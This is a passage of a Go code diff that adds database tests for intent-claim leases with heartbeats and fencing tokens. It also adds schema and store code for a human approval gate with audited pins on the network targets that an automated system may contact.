+	"errors"
+	"sync"
+	"testing"
+	"time"
+)
+
+// openClaimInstances opens the test database twice — two application instances
+// sharing one database — and returns each instance's store for a fresh
+// exploration.
+func openClaimInstances(t *testing.T) (*DB, *ExplorationStore, *ExplorationStore) {
+	t.Helper()
+	dsn := testDSN(t)
+	a, err := Open(dsn)
+	if err != nil {
+		t.Skipf("postgres unavailable (%v) - skipping", err)
+	}
+	t.Cleanup(func() { a.Close() })
+	b, err := Open(dsn)
+	if err != nil {
+		t.Fatalf("open second instance: %v", err)
+	}
+	t.Cleanup(func() { b.Close() })
+	expID, err := a.CreateExploration("intent claim lease", "heartbeat, expiry and fencing")
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { a.Exec(`DELETE FROM explorations WHERE id=$1`, expID) })
+	return a, a.Exploration(expID), b.Exploration(expID)
+}
+
+func addClaimIntent(t *testing.T, store *ExplorationStore) int64 {
+	t.Helper()
+	id, err := store.AddIntent(map[string]any{"summary": "leased"}, 1, nil, "planner")
+	if err != nil {
+		t.Fatal(err)
+	}
+	return id
+}
+
+func claimIntentToken(t *testing.T, store *ExplorationStore, id int64, owner string) string {
+	t.Helper()
+	token, err := store.ClaimIntentToken(id, owner)
+	if err != nil || token == "" {
+		t.Fatalf("claim by %s: token=%q err=%v", owner, token, err)
+	}
+	return token
+}
+
+// ageClaimHeartbeat moves the intent's last heartbeat age into the past, on the
+// database clock the expiry check uses.
+func ageClaimHeartbeat(t *testing.T, d *DB, id int64, age time.Duration) {
+	t.Helper()
+	if _, err := d.Exec(`UPDATE exploration_nodes SET last_heartbeat_at = now() - $2 * INTERVAL '1 second' WHERE id=$1`, id, age.Seconds()); err != nil {
+		t.Fatal(err)
+	}
+}
+
+type claimRow struct {
+	state         string
+	token         sql.NullString
+	blockedReason sql.NullString
+	heartbeatAge  sql.NullFloat64 // seconds since last_heartbeat_at; NULL when never set
+}
+
+func readClaimRow(t *testing.T, d *DB, id int64) claimRow {
+	t.Helper()
+	var row claimRow
+	if err := d.QueryRow(`SELECT state, unclaim_token, blocked_reason, EXTRACT(EPOCH FROM now() - last_heartbeat_at)::float8
+FROM exploration_nodes WHERE id=$1`, id).Scan(&row.state, &row.token, &row.blockedReason, &row.heartbeatAge); err != nil {
+		t.Fatal(err)
+	}
+	return row
+}
+
+func mustResetRunning(t *testing.T, store *ExplorationStore, want int64) {
+	t.Helper()
+	n, err := store.ResetRunningIntents()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if n != want {
+		t.Fatalf("ResetRunningIntents reclaimed %d intents, want %d", n, want)
+	}
+}
+
+func TestIntentClaimLiveClaimIsNotReclaimed(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	token := claimIntentToken(t, a, id, "work#1")
+
+	row := readClaimRow(t, d, id)
+	if row.state != "running" || row.token.String != token || !row.heartbeatAge.Valid {
+		t.Fatalf("claim did not start a lease: %+v", row)
+	}
+
+	// Neither the claiming instance nor a second instance on the same database
+	// may take a live claim over, by reset or by a fresh claim.
+	mustResetRunning(t, a, 0)
+	mustResetRunning(t, b, 0)
+	if other, err := b.ClaimIntentToken(id, "work#2"); err != nil || other != "" {
+		t.Fatalf("second instance claimed a live intent: token=%q err=%v", other, err)
+	}
+
+	// Still live just inside the TTL.
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL-10*time.Second)
+	mustResetRunning(t, b, 0)
+
+	row = readClaimRow(t, d, id)
+	if row.state != "running" || row.token.String != token {
+		t.Fatalf("live claim changed: %+v, want running with token %q", row, token)
+	}
+	if err := a.HeartbeatIntentClaim(id, token); err != nil {
+		t.Fatalf("heartbeat of the live claimer: %v", err)
+	}
+}
+
+func TestIntentClaimExpiredClaimIsReclaimed(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	old := claimIntentToken(t, a, id, "work#1")
+
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+	mustResetRunning(t, b, 1)
+
+	row := readClaimRow(t, d, id)
+	if row.state != "open" || row.token.Valid {
+		t.Fatalf("expired claim not released: %+v, want open with no token", row)
+	}
+	fresh := claimIntentToken(t, b, id, "work#2")
+	if fresh == old {
+		t.Fatal("re-claim reused the previous unclaim token")
+	}
+	mustResetRunning(t, a, 0) // the new claim is live
+}
+
+// A row claimed before the lease columns existed has neither a heartbeat nor a
+// token; SetIntentState produces exactly that shape. It counts as expired.
+func TestIntentClaimLegacyRunningRowIsReclaimed(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	if err := a.SetIntentState(id, "running"); err != nil {
+		t.Fatal(err)
+	}
+	row := readClaimRow(t, d, id)
+	if row.heartbeatAge.Valid || row.token.Valid {
+		t.Fatalf("legacy fixture carries lease data: %+v", row)
+	}
+
+	mustResetRunning(t, b, 1)
+	if row = readClaimRow(t, d, id); row.state != "open" {
+		t.Fatalf("legacy running row state=%q, want open", row.state)
+	}
+	claimIntentToken(t, b, id, "work#1")
+}
+
+func TestIntentClaimHeartbeatExtendsLease(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	token := claimIntentToken(t, a, id, "work#1")
+
+	// Past the TTL but not yet taken over: the claimer's heartbeat renews it.
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+	if err := a.HeartbeatIntentClaim(id, token); err != nil {
+		t.Fatalf("heartbeat: %v", err)
+	}
+	mustResetRunning(t, b, 0)
+
+	row := readClaimRow(t, d, id)
+	if row.state != "running" || row.token.String != token {
+		t.Fatalf("heartbeat did not keep the claim: %+v", row)
+	}
+	if !row.heartbeatAge.Valid || row.heartbeatAge.Float64 > 30 {
+		t.Fatalf("last_heartbeat_at not renewed: age=%+v", row.heartbeatAge)
+	}
+
+	// Without a further heartbeat the same claim does expire.
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+	mustResetRunning(t, b, 1)
+}
+
+func TestIntentClaimStaleWorkerIsFencedAfterReclaim(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	stale := claimIntentToken(t, a, id, "work#1")
+
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+	mustResetRunning(t, b, 1)
+
+	assertFenced := func(when string) {
+		t.Helper()
+		before := readClaimRow(t, d, id)
+		if err := a.HeartbeatIntentClaim(id, stale); !errors.Is(err, ErrIntentClaimLost) {
+			t.Fatalf("%s: stale heartbeat err=%v, want ErrIntentClaimLost", when, err)
+		}
+		if err := a.SettleIntentClaim(id, stale, "done"); !errors.Is(err, ErrIntentClaimLost) {
+			t.Fatalf("%s: stale result write err=%v, want ErrIntentClaimLost", when, err)
+		}
+		if err := a.SettleIntentClaimBlocked(id, stale, IntentBlockedLLMQuota); !errors.Is(err, ErrIntentClaimLost) {
+			t.Fatalf("%s: stale blocked write err=%v, want ErrIntentClaimLost", when, err)
+		}
+		after := readClaimRow(t, d, id)
+		if after.state != before.state || after.token != before.token || after.blockedReason != before.blockedReason {
+			t.Fatalf("%s: a rejected stale write changed the intent: %+v -> %+v", when, before, after)
+		}
+	}
+	assertFenced("after takeover, before the re-claim")
+
+	current := claimIntentToken(t, b, id, "work#2")
+	ageClaimHeartbeat(t, d, id, time.Minute)
+	assertFenced("after the re-claim")
+	if row := readClaimRow(t, d, id); row.state != "running" || row.token.String != current || row.heartbeatAge.Float64 < 50 {
+		t.Fatalf("stale worker touched the new claim: %+v", row)
+	}
+
+	// The current claimer is unaffected and its result write releases the claim.
+	if err := b.HeartbeatIntentClaim(id, current); err != nil {
+		t.Fatalf("current claimer heartbeat: %v", err)
+	}
+	if err := b.SettleIntentClaim(id, current, "done"); err != nil {
+		t.Fatalf("current claimer result write: %v", err)
+	}
+	if row := readClaimRow(t, d, id); row.state != "done" || row.token.Valid {
+		t.Fatalf("settled intent: %+v, want done with no token", row)
+	}
+	if err := b.SettleIntentClaim(id, current, "blocked"); !errors.Is(err, ErrIntentClaimLost) {
+		t.Fatalf("second settle with a released token err=%v, want ErrIntentClaimLost", err)
+	}
+}
+
+func TestSettleIntentClaimBlockedAndStateConflict(t *testing.T) {
+	d, a, _ := openClaimInstances(t)
+
+	blocked := addClaimIntent(t, a)
+	token := claimIntentToken(t, a, blocked, "work#1")
+	if err := a.SettleIntentClaimBlocked(blocked, token, IntentBlockedLLMQuota); err != nil {
+		t.Fatal(err)
+	}
+	if row := readClaimRow(t, d, blocked); row.state != "blocked" || row.blockedReason.String != IntentBlockedLLMQuota || row.token.Valid {
+		t.Fatalf("blocked settle: %+v", row)
+	}
+
+	// The token is still current but the intent left 'running' through an
+	// unfenced path: that is a state conflict, not a lost claim.
+	moved := addClaimIntent(t, a)
+	token = claimIntentToken(t, a, moved, "work#1")
+	if err := a.SetIntentState(moved, "paused"); err != nil {
+		t.Fatal(err)
+	}
+	err := a.SettleIntentClaim(moved, token, "done")
+	if !errors.Is(err, ErrIntentStateConflict) || errors.Is(err, ErrIntentClaimLost) {
+		t.Fatalf("settle of a non-running intent err=%v, want ErrIntentStateConflict", err)
+	}
+	if row := readClaimRow(t, d, moved); row.state != "paused" {
+		t.Fatalf("rejected settle changed the state to %q", row.state)
+	}
+}
+
+func TestClaimPausedIntentTokenStartsLease(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	first := claimIntentToken(t, a, id, "work#1")
+	if err := a.SettleIntentClaim(id, first, "paused"); err != nil {
+		t.Fatal(err)
+	}
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second) // the paused intent's old heartbeat is stale
+
+	token, err := a.ClaimPausedIntentToken(id)
+	if err != nil || token == "" || token == first {
+		t.Fatalf("claim paused: token=%q first=%q err=%v", token, first, err)
+	}
+	if again, err := b.ClaimPausedIntentToken(id); err != nil || again != "" {
+		t.Fatalf("second paused claim: token=%q err=%v, want none", again, err)
+	}
+	mustResetRunning(t, b, 0)
+	if row := readClaimRow(t, d, id); row.state != "running" || row.token.String != token {
+		t.Fatalf("paused claim: %+v", row)
+	}
+	if err := a.SettleIntentClaim(id, first, "done"); !errors.Is(err, ErrIntentClaimLost) {
+		t.Fatalf("previous run's token err=%v, want ErrIntentClaimLost", err)
+	}
+}
+
+// A heartbeat racing a takeover of the same expired claim must have exactly one
+// winner: either the claim is renewed and stays, or it is taken over and the
+// heartbeat is rejected. Both succeeding would be a stolen live claim.
+func TestIntentClaimTakeoverRacesHeartbeatAtomically(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	token := claimIntentToken(t, a, id, "work#1")
+
+	var renewed, takenOver int
+	for round := 0; round < 40; round++ {
+		ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+		var heartbeatErr, resetErr error
+		var reclaimed int64
+		var wg sync.WaitGroup
+		start := make(chan struct{})
+		wg.Add(2)
+		go func() {
+			defer wg.Done()
+			<-start
+			heartbeatErr = a.HeartbeatIntentClaim(id, token)
+		}()
+		go func() {
+			defer wg.Done()
+			<-start
+			reclaimed, resetErr = b.ResetRunningIntents()
+		}()
+		close(start)
+		wg.Wait()
+		if resetErr != nil {
+			t.Fatal(resetErr)
+		}
+		row := readClaimRow(t, d, id)
+		switch {
+		case heartbeatErr == nil && reclaimed == 0:
+			renewed++
+			if row.state != "running" || row.token.String != token {
+				t.Fatalf("round %d: renewed claim is %+v", round, row)
+			}
+		case errors.Is(heartbeatErr, ErrIntentClaimLost) && reclaimed == 1:
+			takenOver++
+			if row.state != "open" || row.token.Valid {
+				t.Fatalf("round %d: taken-over claim is %+v", round, row)
+			}
+			token = claimIntentToken(t, a, id, "work#1")
+		default:
+			t.Fatalf("round %d: heartbeat err=%v with %d reclaimed, want exactly one winner", round, heartbeatErr, reclaimed)
+		}
+	}
+	t.Logf("heartbeat won %d rounds, takeover won %d rounds", renewed, takenOver)
+}
+
+// The lease columns reach existing installs through schema.sql, which runs on
+// every startup. This replays it on a table stripped back to its pre-upgrade
+// shape, inside a transaction that is always rolled back.
+func TestIntentClaimColumnsMigrateIdempotently(t *testing.T) {
+	d, err := Open(testDSN(t))
+	if err != nil {
+		t.Skipf("postgres unavailable (%v) - skipping", err)
+	}
+	defer d.Close()
+
+	tx, err := d.Begin()
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer tx.Rollback() //nolint:errcheck // the test never commits
+
+	if _, err := tx.Exec(`ALTER TABLE exploration_nodes DROP COLUMN IF EXISTS last_heartbeat_at, DROP COLUMN IF EXISTS unclaim_token`); err != nil {
+		t.Fatalf("simulate old table: %v", err)
+	}
+	var legacy int64
+	if err := tx.QueryRow(`
+WITH exp AS (INSERT INTO explorations(description, goal) VALUES ('legacy', 'pre-lease install') RETURNING id)
+INSERT INTO exploration_nodes(exploration_id, kind, state, owner)
+SELECT id, 'intent', 'running', 'work#1' FROM exp RETURNING id`).Scan(&legacy); err != nil {
+		t.Fatalf("insert legacy running intent: %v", err)
+	}
+
+	for run := 1; run <= 2; run++ {
+		if _, err := tx.Exec(schemaSQL); err != nil {
+			t.Fatalf("schema run %d: %v", run, err)
+		}
+		for col, typ := range map[string]string{"last_heartbeat_at": "timestamp with time zone", "unclaim_token": "text"} {
+			var dataType, nullable string
+			if err := tx.QueryRow(`SELECT data_type, is_nullable FROM information_schema.columns
+WHERE table_schema=current_schema() AND table_name='exploration_nodes' AND column_name=$1`, col).Scan(&dataType, &nullable); err != nil {
+				t.Fatalf("schema run %d: column %s: %v", run, col, err)
+			}
+			if dataType != typ || nullable != "YES" {
+				t.Fatalf("schema run %d: column %s is %s nullable=%s, want %s nullable", run, col, dataType, nullable, typ)
+			}
+		}
+		var checks int
+		if err := tx.QueryRow(`SELECT count(*) FROM pg_constraint
+WHERE conrelid='exploration_nodes'::regclass AND contype='c'
+  AND (pg_get_constraintdef(oid) LIKE '%last_heartbeat_at%' OR pg_get_constraintdef(oid) LIKE '%unclaim_token%')`).Scan(&checks); err != nil {
+			t.Fatal(err)
+		}
+		if checks != 0 {
+			t.Fatalf("schema run %d: %d CHECK constraints on the lease columns, want none", run, checks)
+		}
+		var state string
+		var heartbeat sql.NullTime
+		var token sql.NullString
+		if err := tx.QueryRow(`SELECT state, last_heartbeat_at, unclaim_token FROM exploration_nodes WHERE id=$1`, legacy).Scan(&state, &heartbeat, &token); err != nil {
+			t.Fatal(err)
+		}
+		if state != "running" || heartbeat.Valid || token.Valid {
+			t.Fatalf("schema run %d: legacy row state=%q heartbeat=%v token=%v, want running with NULL lease columns", run, state, heartbeat, token)
+		}
+	}
+}

db/intercept_detail.go

@@ -43,6 +43,35 @@ type InterceptAudit struct {
 	Output           string                  `json:"output,omitempty"`
 	OutputTruncated  bool                    `json:"output_truncated,omitempty"`
 	ExecutionEndedAt *time.Time              `json:"execution_ended_at,omitempty"`
+	// Targets is set on target approval requests only (target_key IS NOT NULL).
+	Targets []InterceptTarget `json:"targets,omitempty"`
+	// MergedAsk marks a target request that also carries the ask of a rule or of
+	// the judge: one row, one decision for both.
+	MergedAsk bool `json:"merged_ask,omitempty"`
+	// Approver and ApproverAddr identify the human behind a decision: the subject
+	// of the session token and the remote address of the request. decided_by keeps
+	// the actor class (human).
+	Approver     string `json:"approver,omitempty"`
+	ApproverAddr string `json:"approver_addr,omitempty"`
+}
+
+// InterceptTarget is one asset target of a target approval request: what was
+// asked for, the addresses shown to the human, and the pin it relates to.
+type InterceptTarget struct {
+	Host        string    `json:"host"`
+	Port        int       `json:"port"` // 0 = port not declared
+	Kind        string    `json:"kind,omitempty"`
+	ResolvedIPs []string  `json:"resolved_ips"`
+	Resolver    string    `json:"resolver,omitempty"`
+	ResolvedAt  time.Time `json:"resolved_at"`
+	PinID       int64     `json:"pin_id,omitempty"`
+	PinVersion  int       `json:"pin_version,omitempty"`
+	PinnedIPs   []string  `json:"pinned_ips,omitempty"`
+	Reason      string    `json:"reason,omitempty"` // no_pin | new_ip | revoked
+	Outcome     string    `json:"outcome"`          // requested | pinned | denied
+	// NameOnlyEffective: requested while the upstream egress proxy was set; a pin
+	// created from this request covers the name only.
+	NameOnlyEffective bool `json:"name_only_effective,omitempty"`
 }
 
 type InterceptDetail struct {
@@ -77,6 +106,14 @@ func (d *DB) GetInterceptDetail(id int64) (*InterceptDetail, error) {
 // decidedBy records the settling actor (human | rule | model | system); it is
 // supplied by the caller because status alone cannot tell them apart.
 func (d *DB) ResolveIntercept(id int64, status, action, reason, decidedBy string) (bool, error) {
+	return d.ResolveInterceptBy(id, status, action, reason, decidedBy, "", "")
+}
+
+// ResolveInterceptBy is ResolveIntercept for a decision whose author is known:
+// approver (subject of the session token) and remoteAddr (address of the
+// request) are recorded in the row's audit when non-empty. A row without an
+// audit keeps none.
+func (d *DB) ResolveInterceptBy(id int64, status, action, reason, decidedBy, approver, remoteAddr string) (bool, error) {
 	switch decidedBy {
 	case "human", "rule", "model", "system":
 	default:
@@ -86,9 +123,16 @@ func (d *DB) ResolveIntercept(id int64, status, action, reason, decidedBy string
 	if action == "allow" {
 		execution = "awaiting_result"
 	}
-	patch, err := json.Marshal(map[string]any{
+	fields := map[string]any{
 		"effective_action": action, "decision_reason": reason, "execution_status": execution,
-	})
+	}
+	if approver != "" {
+		fields["approver"] = approver
+	}
+	if remoteAddr != "" {
+		fields["approver_addr"] = remoteAddr
+	}
+	patch, err := json.Marshal(fields)
 	if err != nil {
 		return false, err
 	}

db/schema.sql

@@ -201,6 +201,13 @@ ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS delete_reason TEXT;
 -- a node most recently went from "has a live downstream branch" to none (NULL = hot).
 ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS content_version  INT    NOT NULL DEFAULT 0;
 ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS cold_since_round BIGINT;
+-- Intent claim lease: unclaim_token is the fencing token of the current claim (fresh
+-- per claim, cleared when the claim is settled or taken over); last_heartbeat_at is
+-- the claimer's latest heartbeat. A running intent whose heartbeat is older than
+-- db.IntentClaimTTL may be taken over. Both are NULL on rows claimed before these
+-- columns existed, which counts as expired.
+ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS last_heartbeat_at TIMESTAMPTZ;
+ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS unclaim_token     TEXT;
 -- ck_node_kind: existing installs predate the 'digest' kind — recreate to allow it.
 DO $$
 BEGIN
@@ -551,6 +558,8 @@ CREATE TRIGGER trg_tasks_upd BEFORE UPDATE ON tasks
 -- planner heartbeat trigger interval (seconds); backfills old databases. Default 300s (5min). See docs/planner-trigger-impl-plan.md
 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_heartbeat_seconds INTEGER NOT NULL DEFAULT 300;
 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_quiet_mode BOOLEAN NOT NULL DEFAULT true;
+-- Approval gate for asset targets, opt-in per task; backfills old databases. false (default) = no gate, behaviour unchanged.
+ALTER TABLE tasks ADD COLUMN IF NOT EXISTS target_gate BOOLEAN NOT NULL DEFAULT false;
 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS llm_rotate BOOLEAN NOT NULL DEFAULT false;
 -- Concurrency-limit hold state; backfills old databases. true=queued due to the concurrency limit, auto-starts when a slot frees up.
 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS queued BOOLEAN NOT NULL DEFAULT false;
@@ -988,6 +997,8 @@ CREATE TABLE IF NOT EXISTS conversations (
     updated_at     TIMESTAMPTZ NOT NULL DEFAULT now()
 );
 ALTER TABLE conversations ADD COLUMN IF NOT EXISTS pinned_at TIMESTAMPTZ;
+-- Approval gate for asset targets, opt-in per conversation (a chat has no task). false (default) = no gate.
+ALTER TABLE conversations ADD COLUMN IF NOT EXISTS target_gate BOOLEAN NOT NULL DEFAULT false;
 CREATE INDEX IF NOT EXISTS idx_conversations_llm_profile ON conversations(llm_profile_id) WHERE llm_profile_id IS NOT NULL;
 CREATE INDEX IF NOT EXISTS idx_conversations_pinned ON conversations(pinned_at DESC) WHERE pinned_at IS NOT NULL;
 DROP TRIGGER IF EXISTS trg_conversations_upd ON conversations;
@@ -1112,6 +1123,55 @@ UPDATE intercept_pending SET decision_source='model'
 -- existed) | human | rule | model | system. No backfill: readers fall back to
 -- decision_source for legacy rows instead of rewriting history.
 ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS decided_by TEXT NOT NULL DEFAULT '';
+-- Target approval requests. target_key = '<host>:<port>' of the asset target the row asks for;
+-- NULL = classic ask (and every row that predates the column). At most one open request per
+-- scope (task or conversation) and target: concurrent calls to one host share one row.
+ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS target_key TEXT;
+CREATE UNIQUE INDEX IF NOT EXISTS uq_intercept_pending_target
+    ON intercept_pending (COALESCE(task_id,''), COALESCE(conversation_id,0), target_key)
+    WHERE status = 'pending' AND target_key IS NOT NULL;
+
+-- Target pins: host + port approved by a human for one task or one conversation, with the
+-- addresses shown at approval time. Written only by the decide endpoint. No foreign keys on
+-- task_id, conversation_id and intercept_id: a pin outlives its task, its conversation and its
+-- request row as history (revoked, never deleted). status and revoked_reason carry no CHECK
+-- (validated in Go, same convention as findings.status).
+CREATE TABLE IF NOT EXISTS target_pins (
+    id              BIGSERIAL PRIMARY KEY,
+    task_id         BIGINT,
+    conversation_id BIGINT,
+    host            TEXT NOT NULL,                  -- normalised name, IP literal or CIDR
+    port            INTEGER NOT NULL DEFAULT 0,     -- 0 = port not declared: covers every port of the host
+    version         INTEGER NOT NULL DEFAULT 1,
+    pinned_ips      TEXT[] NOT NULL DEFAULT '{}',   -- canonical, sorted
+    resolver        TEXT NOT NULL DEFAULT '',
+    resolved_at     TIMESTAMPTZ NOT NULL DEFAULT now(),
+    status          TEXT NOT NULL DEFAULT 'active', -- active | superseded | revoked
+    intercept_id    BIGINT,                         -- the request row that carried the click
+    decided_by      TEXT NOT NULL DEFAULT '',       -- approver: subject of the session token
+    decided_from    TEXT NOT NULL DEFAULT '',       -- remote address of the click
+    -- Approved while the upstream egress proxy was set: the proxy chooses the address, so the
+    -- pin covers the name only and its addresses are not compared. Stays true if the proxy is
+    -- removed later; enforcing addresses again takes a new approval.
+    name_only_effective BOOLEAN NOT NULL DEFAULT false,
+    revoked_at      TIMESTAMPTZ,
+    revoked_reason  TEXT NOT NULL DEFAULT '',       -- operator | task_deleted | conversation_deleted
+    created_at      TIMESTAMPTZ NOT NULL DEFAULT now()
+);
+CREATE UNIQUE INDEX IF NOT EXISTS uq_target_pins_active
+    ON target_pins (COALESCE(task_id,0), COALESCE(conversation_id,0), host, port)
+    WHERE status = 'active';
+CREATE INDEX IF NOT EXISTS idx_target_pins_scope ON target_pins (task_id, conversation_id, status);
+
+-- Append-only history of the target-gate exemption list (settings key target_gate_exempt_hosts).
+CREATE TABLE IF NOT EXISTS target_gate_exemption_log (
+    id          BIGSERIAL PRIMARY KEY,
+    changed_at  TIMESTAMPTZ NOT NULL DEFAULT now(),
+    changed_by  TEXT NOT NULL DEFAULT '',
+    before      JSONB,
+    after       JSONB,
+    digest      TEXT NOT NULL DEFAULT ''
+);
 
 -- =====================================================================
 -- L. Finding persistence

db/target_pins.go

@@ -0,0 +1,393 @@
+package db
+
+import (
+	"database/sql"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"sort"
+	"strconv"
+	"time"
+)
+
+// TargetScopeRef names what a target pin or a target approval request is bound
+// to: one task or one conversation, never both.
+type TargetScopeRef struct {
+	TaskID         int64
+	ConversationID int64
+}
+
+func (s TargetScopeRef) check() error {
+	if (s.TaskID > 0) == (s.ConversationID > 0) {
+		return fmt.Errorf("target scope must name one task or one conversation, got task %d and conversation %d", s.TaskID, s.ConversationID)
+	}
+	return nil
+}
+
+// pendingScope is the scope as intercept_pending stores it: task_id is TEXT
+// there, and the column of the other kind is NULL.
+func (s TargetScopeRef) pendingScope() (taskID *string, convID *int64) {
+	if s.TaskID > 0 {
+		v := strconv.FormatInt(s.TaskID, 10)
+		return &v, nil
+	}
+	return nil, &s.ConversationID
+}
+
+// TargetKey is the key of an asset target inside its scope: host and port. The
+// port is always the part after the last colon, so the key stays unambiguous
+// for IPv6 literals and CIDRs.
+func TargetKey(host string, port int) string {
+	return host + ":" + strconv.Itoa(port)
+}
+
+// Target pin states and revocation reasons. The columns carry no CHECK; these
+// are the only values written.
+const (
+	TargetPinActive     = "active"
+	TargetPinSuperseded = "superseded"
+	TargetPinRevoked    = "revoked"
+
+	TargetPinRevokedByOperator         = "operator"
+	TargetPinRevokedTaskDeleted        = "task_deleted"
+	TargetPinRevokedConversationDelete = "conversation_deleted"
+)
+
+// TargetPin is one row of target_pins: a host and port a human approved for one
+// scope, with the addresses that were shown at approval time. Port 0 means the
+// port was not declared and covers every port of the host.
+type TargetPin struct {
+	ID             int64     `json:"id"`
+	TaskID         *int64    `json:"task_id"`
+	ConversationID *int64    `json:"conversation_id"`
+	Host           string    `json:"host"`
+	Port           int       `json:"port"`
+	Version        int       `json:"version"`
+	PinnedIPs      []string  `json:"pinned_ips"`
+	Resolver       string    `json:"resolver"`
+	ResolvedAt     time.Time `json:"resolved_at"`
+	Status         string    `json:"status"`
+	InterceptID    *int64    `json:"intercept_id"`
+	DecidedBy      string    `json:"decided_by"`
+	DecidedFrom    string    `json:"decided_from"`
+	// NameOnlyEffective: approved while the upstream egress proxy was set, so the
+	// pin covers the name and its addresses are not compared. It stays set when
+	// the proxy is removed later.
+	NameOnlyEffective bool       `json:"name_only_effective"`
+	RevokedAt         *time.Time `json:"revoked_at,omitempty"`
+	RevokedReason     string     `json:"revoked_reason,omitempty"`
+	CreatedAt         time.Time  `json:"created_at"`
+}
+
+const targetPinCols = `id, task_id, conversation_id, host, port, version, array_to_json(pinned_ips)::text, resolver, resolved_at, status, intercept_id, decided_by, decided_from, name_only_effective, revoked_at, revoked_reason, created_at`
+
+// targetPinScope matches the expressions of uq_target_pins_active.
+const targetPinScope = `COALESCE(task_id,0)=$1 AND COALESCE(conversation_id,0)=$2`
+
+func scanTargetPin(row interface{ Scan(...any) error }) (*TargetPin, error) {
+	var p TargetPin
+	var ips string
+	if err := row.Scan(&p.ID, &p.TaskID, &p.ConversationID, &p.Host, &p.Port, &p.Version, &ips, &p.Resolver, &p.ResolvedAt,
+		&p.Status, &p.InterceptID, &p.DecidedBy, &p.DecidedFrom, &p.NameOnlyEffective, &p.RevokedAt, &p.RevokedReason, &p.CreatedAt); err != nil {
+		return nil, err
+	}
+	if err := json.Unmarshal([]byte(ips), &p.PinnedIPs); err != nil {
+		return nil, err
+	}
+	return &p, nil
+}
+
+func queryTargetPins(q interface {
+	Query(string, ...any) (*sql.Rows, error)
+}, query string, args ...any) ([]*TargetPin, error) {
+	rows, err := q.Query(query, args...)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	out := []*TargetPin{}
+	for rows.Next() {
+		p, err := scanTargetPin(rows)
+		if err != nil {
+			return nil, err
+		}
+		out = append(out, p)
+	}
+	return out, rows.Err()
+}
+
+// ActiveTargetPins returns the active pins that may cover the target
+// (host, port) in scope, the pin on the exact port first. A target on a declared
+// port has two candidates: the pin on that port and the pin on port 0. A target
+// whose port is not declared (0) has one: a pin on a specific port never covers
+// it. The address sets of two pins are never merged by the caller.
+func (d *DB) ActiveTargetPins(scope TargetScopeRef, host string, port int) ([]*TargetPin, error) {
+	if err := scope.check(); err != nil {
+		return nil, err
+	}
+	return queryTargetPins(d, `SELECT `+targetPinCols+` FROM target_pins
+WHERE `+targetPinScope+` AND host=$3 AND port IN ($4, 0) AND status='active'
+ORDER BY port DESC`, scope.TaskID, scope.ConversationID, host, port)
+}
+
+// ListTargetPins returns every pin of scope in any state, newest first.
+func (d *DB) ListTargetPins(scope TargetScopeRef) ([]*TargetPin, error) {
+	if err := scope.check(); err != nil {
+		return nil, err
+	}
+	return queryTargetPins(d, `SELECT `+targetPinCols+` FROM target_pins
+WHERE `+targetPinScope+` ORDER BY id DESC`, scope.TaskID, scope.ConversationID)
+}
+
+// RevokeTargetPin revokes one active pin of scope on behalf of the operator and
+// returns the pin as it is afterwards (nil when scope has no such pin). Revoking
+// a pin that is no longer active changes nothing.
+func (d *DB) RevokeTargetPin(scope TargetScopeRef, pinID int64) (*TargetPin, error) {
+	if err := scope.check(); err != nil {
+		return nil, err
+	}
+	if _, err := d.Exec(`UPDATE target_pins SET status='revoked', revoked_at=now(), revoked_reason=$4
+WHERE `+targetPinScope+` AND id=$3 AND status='active'`, scope.TaskID, scope.ConversationID, pinID, TargetPinRevokedByOperator); err != nil {
+		return nil, err
+	}
+	p, err := scanTargetPin(d.QueryRow(`SELECT `+targetPinCols+` FROM target_pins
+WHERE `+targetPinScope+` AND id=$3`, scope.TaskID, scope.ConversationID, pinID))
+	if errors.Is(err, sql.ErrNoRows) {
+		return nil, nil
+	}
+	return p, err
+}
+
+// revokeTaskPins marks the active pins of a task that is being deleted as
+// revoked. They stay as history; task ids are never reused, so a revoked pin
+// can never match again.
+func revokeTaskPins(tx *sql.Tx, taskID int64) error {
+	_, err := tx.Exec(`UPDATE target_pins SET status='revoked', revoked_at=now(), revoked_reason=$2
+WHERE task_id=$1 AND status='active'`, taskID, TargetPinRevokedTaskDeleted)
+	return err
+}
+
+// revokeConversationPins is revokeTaskPins for deleted conversations.
+func revokeConversationPins(tx *sql.Tx, convIDs []int64) error {
+	_, err := tx.Exec(`UPDATE target_pins SET status='revoked', revoked_at=now(), revoked_reason=$2
+WHERE conversation_id=ANY($1::bigint[]) AND status='active'`, convIDs, TargetPinRevokedConversationDelete)
+	return err
+}
+
+// settleTaskTargetRequests closes the open target requests of a task that is
